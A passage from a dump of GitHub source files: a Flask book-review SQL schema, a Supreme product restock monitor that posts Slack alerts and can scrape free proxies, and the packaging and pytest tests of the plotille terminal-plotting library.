"alpha_fraction": 0.701127827167511, "alphanum_fraction": 0.7048872113227844, "avg_line_length": 23.18181800842285, "blob_id": "58bc4027a11055459d696c4cf43eb92ab74f7bdb", "content_id": "eff59d3bb6c5bb3b546d9b8b76d87a2769a43803", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 532, "license_type": "permissive", "max_line_length": 88, "num_lines": 22, "path": "/project1/create.sql", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "CREATE TABLE books (\n id SERIAL PRIMARY KEY,\n isbn VARCHAR UNIQUE NOT NULL,\n title VARCHAR NOT NULL,\n author VARCHAR NOT NULL,\n year SMALLINT NOT NULL\n);\n\nCREATE TABLE userbase (\n id SERIAL PRIMARY KEY,\n username VARCHAR UNIQUE NOT NULL,\n password VARCHAR NOT NULL\n);\n\n\nCREATE TABLE reviews (\n id SERIAL PRIMARY KEY,\n user_id INTEGER REFERENCES users,\n book_id INTEGER REFERENCES books,\n rating SMALLINT NOT NULL CONSTRAINT Invalid_Rating CHECK (rating <=5 AND rating>=1),\n comment VARCHAR\n);\n" }, { "alpha_fraction": 0.813725471496582, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 16, "blob_id": "68d2034c70026c9804592399e7dda062862dc599", "content_id": "30f79b46cb5c7fef730e1c9d5f6d064cd9a7db1c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 102, "license_type": "permissive", "max_line_length": 52, "num_lines": 6, "path": "/project1/requirements.txt", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "Flask\nFlask-Session\npsycopg2\nSQLAlchemy\nrequests\n# Not adding Werkzeug as it is a dependency fo Flask\n" } ]
6
k-webb/supreme
https://github.com/k-webb/supreme
18201a064781a294ff1e0da70c59237e973c310c
acfad9bdb1e4c7009d82b0410e32505f7b83dfaa
008f073143748ddb6edab753d503597edf1d6c2f
refs/heads/master
2021-03-19T17:54:44.984137
2017-10-20T02:21:55
2017-10-20T02:21:55
101,513,687
10
0
null
null
null
null
null
[ { "alpha_fraction": 0.534375011920929, "alphanum_fraction": 0.5531250238418579, "avg_line_length": 34.55555725097656, "blob_id": "3516e63417828d05d519a81ec9b4d9a9797e24e7", "content_id": "65ed1ba23f29fc69cf315ec46c8d0088c896a2f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 320, "license_type": "permissive", "max_line_length": 76, "num_lines": 9, "path": "/get_p.py", "repo_name": "k-webb/supreme", "src_encoding": "UTF-8", "text": "import requests,re\n\nwith open('proxies.txt','r+') as proxy_file:\n p1 = requests.get('https://www.us-proxy.org/')\n found = re.findall('</tr><tr><td>(.*?)</td><td>(.*?)</td><td>', p1.text)\n for f in found:\n format_f = '{0}:{1}\\n'.format(f[0],f[1])\n proxy_file.write(format_f)\n proxy_file.close()\n" }, { "alpha_fraction": 0.5635359287261963, "alphanum_fraction": 0.580110490322113, "avg_line_length": 10.3125, "blob_id": "8ca33d4ce8370a4909df36d2c50f2e784ea4c0e5", "content_id": "42ce2355c42b932806a0af5242d8d1dea72e478f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 181, "license_type": "permissive", "max_line_length": 34, "num_lines": 16, "path": "/README.md", "repo_name": "k-webb/supreme", "src_encoding": "UTF-8", "text": "# SUPREME\n\n\n## TODO\n- [X] - RESTOCK MONITOR\n- [X] - ADD PROXIES\n- [ ] - CHECKOUT FUNCTION\n- [ ] - GET A 12 PACK OF BUDWEISER\n\n\nHOW TO RUN -\n\n```sh\n$ cd supreme\n$ python3 sup.py\n```\n" }, { "alpha_fraction": 0.5417964458465576, "alphanum_fraction": 0.5628244876861572, "avg_line_length": 31.100000381469727, "blob_id": "75ae5f7d89d3ec28b1705dad64307f2ddd8ae1c9", "content_id": "7c612244fcecabc5fc07bf39a8909f6d17826db6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3852, "license_type": "permissive", "max_line_length": 164, "num_lines": 120, "path": "/sup.py", "repo_name": "k-webb/supreme", "src_encoding": "UTF-8", "text": "import requests as r\nfrom datetime import datetime\nimport json, re, socket, time, sys, random\nfrom slackclient import SlackClient\n\ndef UTCtoEST():\n\tcurrent = datetime.now()\n\treturn str(current) + \" CST\"\nsocket.setdefaulttimeout(2)\n\nsc = SlackClient(\"SLACK KEY HERE\")\n\n\nclass Supreme:\n\tdef __init__(self):\n\t\tself.headers = {'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36'}\n\t\tself.totalstock = 0\n\t\tself.l1 = []\n\n\tdef get_stock(self,link,p):\n\n\t\t###USE PROXIES, RANDOM CHOICE\n\t\t'''\n\t\twith open('proxies.txt','r+') as goodproxies:\n\t\t\tproxies = goodproxies.read().splitlines()\n\t\t\tx = random.choice(proxies)\n\t\t\tbs = {'http': x}\n\t\t\tprint (bs)\n\t\t\t#HARD CODE PROXIES\n\t\t\t#proxies = {'http': '69.27.184.131:53281','https': '69.27.184.131:53281'}\n\t\t\ta = r.get(link,headers=self.headers,proxies=bs)\n\t\t'''\n\t\t##NO PROXIES , DEFAULT\n\t\ta = r.get(link,headers=self.headers)\n\n\t\tprint (a.status_code)\n\t\t#print (a.text)\n\t\tb = json.loads(a.text)\n\t\tinfo = b[u'styles']\n\t\tfor value in info:\n\t\t\tpic = value[u'mobile_zoomed_url']\n\t\t\tpic = 'https:'+str(pic)\n\t\t\tcolor = value[u'name']\n\t\t\tsizes = value[u'sizes']\n\t\t\tif p == True:\n\t\t\t\tprint ('{0} {1}'.format(color,pic))\n\t\t\tfor size in sizes:\n\t\t\t\tsizelabel = size[u'name']\n\t\t\t\tsizeid = size[u'id']\n\t\t\t\tstock = size[u'stock_level']\n\t\t\t\tself.totalstock = self.totalstock + stock\n\t\t\t\tif p == True:\n\t\t\t\t\tm = ('{0} {1} {2} {3} {4}'.format(color, pic, sizelabel, sizeid, stock))\n\t\t\t\t\t#print (m)\n\t\t\t\t\tif stock != 0:\n\t\t\t\t\t\tself.l1.append(m)\n\t\t\tif p == True:\n\t\t\t\tprint ('\\n')\n\tdef monitor(self,link):\n\t\tdef send_message(team,channel,username, title, link, site, sizes, thumb):\n\t\t\tattachments = [\n {\n \"color\": \"#36a64f\",\n \"title\": title,\n \"title_link\": link,\n \"text\": \"Site: %s\"%site,\n \"fields\": [\n {\n \"title\": \"Sizes Available\",\n \"value\": sizes,\n \"short\": False\n }\n ],\n #\"image_url\": thumb\n \"thumb_url\": thumb,\n \"ts\": int(time.time())\n }\n ]\n\t\t\ttry:\n\t\t\t\tres = team.api_call(\"chat.postMessage\", channel=channel, attachments=attachments, username=username,icon_emoji=':hocho:')\n\t\t\t\tif not res.get('ok'):\n\t\t\t\t\tprint('error: {}', res.get('error'))\n\t\t\texcept Exception as y:\n\t\t\t\tprint (y)\n\t\t\t\tprint('send_message failed')\n\t\tif self.totalstock == 0:\n\t\t\ttry:\n\t\t\t\tself.get_stock(link,p=True)\n\t\t\t\tif self.totalstock == 0:\n\t\t\t\t\tprint ('--- CHECK STATUS --- OUT OF STOCK %s'%UTCtoEST())\n\t\t\t\t\ttime.sleep(int(self.interval))\n\t\t\t\t\tself.monitor(link)\n\t\t\t\telse:\n\t\t\t\t\tsend_message(sc,'#CHANNEL NAME HERE','BOT USER NAME HERE','titleOfProduct',link[:-5],'<SupremeNY|http://www.supremenewyork.com/shop/all>','strcartlinks','img')\n\t\t\t\t\t##INSERT SLACK [X]/ TWITTER [ ]/ CHECKOUT [ ] FUNCTION HERE\n\t\t\t\t\tprint('--- CHECK STATUS --- RESTOCK\\n%s -- %s'%(link,UTCtoEST()))\n\t\t\texcept Exception as monitor_error:\n\t\t\t\tprint ('MONITOR ERROR\\n%s'%monitor_error)\n\t\t\t\tpass\n\n\tdef prompt(self):\n\t\tlink = input('Please Enter A Link To Monitor..\\n')\n\t\tlink = str(link)+'.json'\n\t\ttry:\n\t\t\tself.get_stock(link,p=True)\n\t\texcept Exception as get_stock_error:\n\t\t\tprint (get_stock_error)\n\t\t\tpass\n\t\tprint ('{0} {1}'.format('TOTAL STOCK - ',self.totalstock))\n\t\tif self.totalstock == 0:\n\t\t\trestock_answer = input('This product is out of stock, start restock mode? Enter - (y/n)\\n')\n\t\t\tif restock_answer.lower() == 'y':\n\t\t\t\tself.interval = input('Please Enter An Interval..\\n')\n\t\t\t\tself.monitor(link)\n\t\t\telse:\n\t\t\t\tprint (restock_answer)\n\t\t\t\tsys.exit()\n\ninstance = Supreme()\ninstance.prompt()\n" } ]
3
efabens/plotille
https://github.com/efabens/plotille
513e152c7d5478d995c842e7fe7ac5192dc85e7f
1d8c53e0aa9b9f1a714237ce3180bbbeaf9b33b7
8b3845d45a59548b61c99820c410704aa5f1da39
refs/heads/master
2021-05-12T12:29:11.416704
2017-12-19T08:37:03
2017-12-19T08:54:00
117,413,023
0
0
null
2018-01-14T08:05:07
2018-01-03T18:30:06
2017-12-19T08:54:14
null
[ { "alpha_fraction": 0.6216041445732117, "alphanum_fraction": 0.6287192702293396, "avg_line_length": 33.35555648803711, "blob_id": "36012433ed4f22810782512a369773f5d388d8a9", "content_id": "f7bbd08eb290acd638b122f92bf6226ef54e325b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1546, "license_type": "permissive", "max_line_length": 93, "num_lines": 45, "path": "/setup.py", "repo_name": "efabens/plotille", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom setuptools import find_packages, setup\n\ntry:\n long_description = open('README.rst').read()\nexcept IOError:\n long_description = open('README.md').read()\n\nversion = '3.1'\n\nsetup(\n name='plotille',\n version=version,\n packages=find_packages(),\n install_requires=[\n 'six',\n ],\n author='Tammo Ippen',\n author_email='[email protected]',\n description='Plot in the terminal using braille dots.',\n long_description=long_description,\n license='MIT',\n url='https://github.com/tammoippen/plotille',\n download_url='https://github.com/tammoippen/plotille/archive/v{}.tar.gz'.format(version),\n keywords=['plot', 'scatter', 'histogram', 'terminal', 'braille', 'unicode'],\n include_package_data=True,\n classifiers=[\n # Trove classifiers\n # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers\n 'Environment :: Console',\n 'License :: OSI Approved :: MIT License',\n 'Intended Audience :: Science/Research',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Scientific/Engineering :: Visualization',\n 'Topic :: Terminals'\n ]\n)\n" }, { "alpha_fraction": 0.550561785697937, "alphanum_fraction": 0.5730336904525757, "avg_line_length": 13.239999771118164, "blob_id": "e0bb74dab89b8d09ade4b30a140a8d1f0daa006f", "content_id": "8e3e3ae01e2526caeb9849fe9ff147535cc50341", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 356, "license_type": "permissive", "max_line_length": 41, "num_lines": 25, "path": "/Pipfile", "repo_name": "efabens/plotille", "src_encoding": "UTF-8", "text": "[[source]]\n\nurl = \"https://pypi.python.org/simple\"\nverify_ssl = true\nname = \"pypi\"\n\n\n[packages]\n\n\"e1839a8\" = {path = \".\", editable = true}\n\n\n[dev-packages]\n\n\"flake8-import-order\" = \"*\"\nnumpy = \"*\"\n\"pep8-naming\" = \"*\"\npytest = \"*\"\npytest-cov = \"*\"\n\"pytest-flake8\" = \"*\"\npytest-mccabe = \"*\"\npython-coveralls = \"*\"\npytest-mock = \"*\"\nmock = \"*\"\nfuncsigs = \"*\"\n" }, { "alpha_fraction": 0.2725982666015625, "alphanum_fraction": 0.33146172761917114, "avg_line_length": 37.95913314819336, "blob_id": "bf04e0edc11a27d64bcd87a05d9bc9d7435e0e0a", "content_id": "507309bd0fbdffcd077728f5dcad1fe3a81e1f75", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29011, "license_type": "permissive", "max_line_length": 114, "num_lines": 416, "path": "/tests/test_figure.py", "repo_name": "efabens/plotille", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom mock import call\nfrom plotille import Figure\nfrom plotille._figure import Histogram, Plot\nimport pytest\n\n\ndef test_width():\n fig = Figure()\n\n assert fig.width > 0\n\n fig.width = 40\n assert fig.width == 40\n\n with pytest.raises(ValueError):\n fig.width = 0\n\n with pytest.raises(ValueError):\n fig.width = -10\n\n with pytest.raises(ValueError):\n fig.width = \"40\"\n\n res = fig.show().split('\\n')\n assert all([len(r) > 40 and len(r) < 55 for r in res[2:-2]])\n\n\ndef test_height():\n fig = Figure()\n\n assert fig.height > 0\n\n fig.height = 40\n assert fig.height == 40\n\n with pytest.raises(ValueError):\n fig.height = 0\n\n with pytest.raises(ValueError):\n fig.height = -10\n\n with pytest.raises(ValueError):\n fig.height = \"40\"\n\n res = fig.show().split('\\n')\n assert len(res) > 40\n assert len(res) < 45\n\n\ndef test_color_mode():\n fig = Figure()\n\n assert fig.color_mode == 'names'\n\n fig.color_mode = 'byte'\n assert fig.color_mode == 'byte'\n\n with pytest.raises(ValueError):\n fig.color_mode = 'rgba'\n\n with pytest.raises(ValueError):\n fig.color_mode = 15\n\n fig.plot([0.5], [0.5])\n\n with pytest.raises(RuntimeError):\n fig.color_mode = 'names'\n\n\ndef test_with_colors():\n fig = Figure()\n\n assert fig.with_colors\n\n fig.with_colors = False\n\n assert not fig.with_colors\n\n with pytest.raises(ValueError):\n fig.with_colors = 1\n\n\ndef limits(get_limits, set_limits):\n fig = Figure()\n assert get_limits(fig) == (0, 1)\n\n set_limits(fig, min_=0.5)\n assert get_limits(fig) == (0.5, 1)\n\n set_limits(fig) # resetting\n set_limits(fig, max_=0.5)\n assert get_limits(fig) == (0, 0.5)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=0.5)\n set_limits(fig, max_=1.5)\n assert get_limits(fig) == (0.5, 1.5)\n\n set_limits(fig, min_=-2, max_=3.5)\n assert get_limits(fig) == (-2, 3.5)\n\n with pytest.raises(ValueError):\n set_limits(fig, min_=20, max_=3.5)\n\n set_limits(fig) # resetting\n set_limits(fig, max_=1.5)\n with pytest.raises(ValueError):\n set_limits(fig, min_=20)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1.5)\n with pytest.raises(ValueError):\n set_limits(fig, max_=-20)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1.5)\n assert get_limits(fig) == (1.5, 2.5) # min over default max -> max = min + 1\n\n set_limits(fig) # resetting\n set_limits(fig, max_=-1.5)\n assert get_limits(fig) == (-2.5, -1.5) # max smaller than default min -> min = max - 1\n\n fig.clear()\n fig.plot([0], [0])\n set_limits(fig) # resetting\n assert get_limits(fig) == (-0.5, 0.5) # both min, max same, and 0 => +- 0.5\n\n fig.clear()\n fig.plot([0.5], [0.5])\n set_limits(fig) # resetting\n assert get_limits(fig) == (pytest.approx(0.45), pytest.approx(0.55)) # both min, max same, but not 0 => +-10%\n\n fig.clear()\n fig.plot([0.1, 0.2], [0.1, 0.2])\n set_limits(fig) # resetting\n assert get_limits(fig) == (pytest.approx(0.09), pytest.approx(0.21)) # diff 0.1 => +-10%\n\n set_limits(fig, min_=0)\n assert get_limits(fig) == (0, pytest.approx(0.22)) # diff 0.2 => +10%\n set_limits(fig, max_=2)\n assert get_limits(fig) == (0, 2) # min/max set\n\n set_limits(fig) # resetting\n set_limits(fig, max_=2)\n assert get_limits(fig) == (pytest.approx(-0.09), 2) # diff 1.9 => -10%\n\n set_limits(fig) # resetting\n set_limits(fig, max_=0) # below value min\n assert get_limits(fig) == (-1, 0) # have a valid window below graph\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1) # above value max\n assert get_limits(fig) == (1, 2) # have a valid window above graph\n\n\ndef test_x_limits():\n limits(Figure.x_limits, Figure.set_x_limits)\n\n\ndef test_y_limits():\n limits(Figure.y_limits, Figure.set_y_limits)\n\n\ndef test_clear():\n fig = Figure()\n\n assert fig._plots == []\n\n fig.plot([0.1, 0.2], [0.1, 0.2])\n fig.plot([0.1, 0.2], [0.1, 0.2])\n fig.plot([0.1, 0.2], [0.1, 0.2])\n\n assert len(fig._plots) == 3\n fig.clear()\n assert fig._plots == []\n\n fig.clear()\n assert fig._plots == []\n\n\ndef test_plot(get_canvas):\n fig = Figure()\n\n fig.plot([], [])\n assert len(fig._plots) == 0\n\n fig.plot([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 1\n\n plot = fig._plots[0]\n assert isinstance(plot, Plot)\n\n assert plot.interp == 'linear'\n assert plot.lc == 'white'\n assert plot.width_vals() == [0.1, 0.2]\n assert plot.height_vals() == [0.2, 0.3]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=False)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=None),\n call(0.2, 0.3, color=None),\n ]\n assert canvas.line.call_count == 1 # two points => one line\n assert canvas.line.call_args_list == [\n call(0.1, 0.2, 0.2, 0.3, color=None)\n ]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=True)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=plot.lc),\n call(0.2, 0.3, color=plot.lc),\n ]\n assert canvas.line.call_count == 1 # two points => one line\n assert canvas.line.call_args_list == [\n call(0.1, 0.2, 0.2, 0.3, color=plot.lc)\n ]\n\n # different lc\n fig.plot([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 2\n\n plot2 = fig._plots[1]\n assert isinstance(plot2, Plot)\n\n assert plot2.lc == 'red'\n\n with pytest.raises(ValueError):\n fig.plot([1], [0], interp=23)\n\n with pytest.raises(ValueError):\n fig.plot([1, 2], [0])\n\n\ndef test_scatter(get_canvas):\n fig = Figure()\n\n fig.scatter([], [])\n assert len(fig._plots) == 0\n\n fig.scatter([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 1\n\n plot = fig._plots[0]\n assert isinstance(plot, Plot)\n\n assert plot.interp is None\n assert plot.lc == 'white'\n assert plot.width_vals() == [0.1, 0.2]\n assert plot.height_vals() == [0.2, 0.3]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=False)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=None),\n call(0.2, 0.3, color=None),\n ]\n assert canvas.line.call_count == 0 # scatter\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=True)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=plot.lc),\n call(0.2, 0.3, color=plot.lc),\n ]\n assert canvas.line.call_count == 0 # scatter\n\n # different lc\n fig.scatter([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 2\n\n plot2 = fig._plots[1]\n assert isinstance(plot2, Plot)\n\n assert plot2.lc == 'red'\n\n with pytest.raises(ValueError):\n fig.scatter([1, 2], [0])\n\n\ndef test_histogram(get_canvas, mocker):\n fig = Figure()\n fig.histogram([1, 1, 2, 3, 1], bins=3)\n\n assert len(fig._plots) == 1\n\n hist = fig._plots[0]\n assert isinstance(hist, Histogram)\n\n assert hist.width_vals() == [1, 1, 2, 3, 1]\n assert hist.height_vals() == [3, 1, 1] # 3 x 1\n assert hist.lc == 'white'\n\n canvas = get_canvas()\n canvas.dots_between = mocker.Mock(return_value=[1, 1])\n canvas.xmin = 0\n canvas.xmax = 5\n\n hist.write(canvas, with_colors=False)\n assert canvas.point.call_count == 0\n assert canvas.line.call_count == 3 # 1 dot between 1 and 2\n\n\ndef test_show():\n fig = Figure()\n fig.with_colors = False\n\n fig.histogram([1, 1, 2, 3, 1], bins=5)\n expected = ''' (Y) ^\n 3.30000 |\n 3.21750 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 3.13500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 3.05250 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.97000 | ⠀⠀⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.88750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.80500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.72250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.64000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.55750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.47500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.39250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.31000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.22750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.14500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.06250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.98000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.89750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.81500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.73250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.65000 | 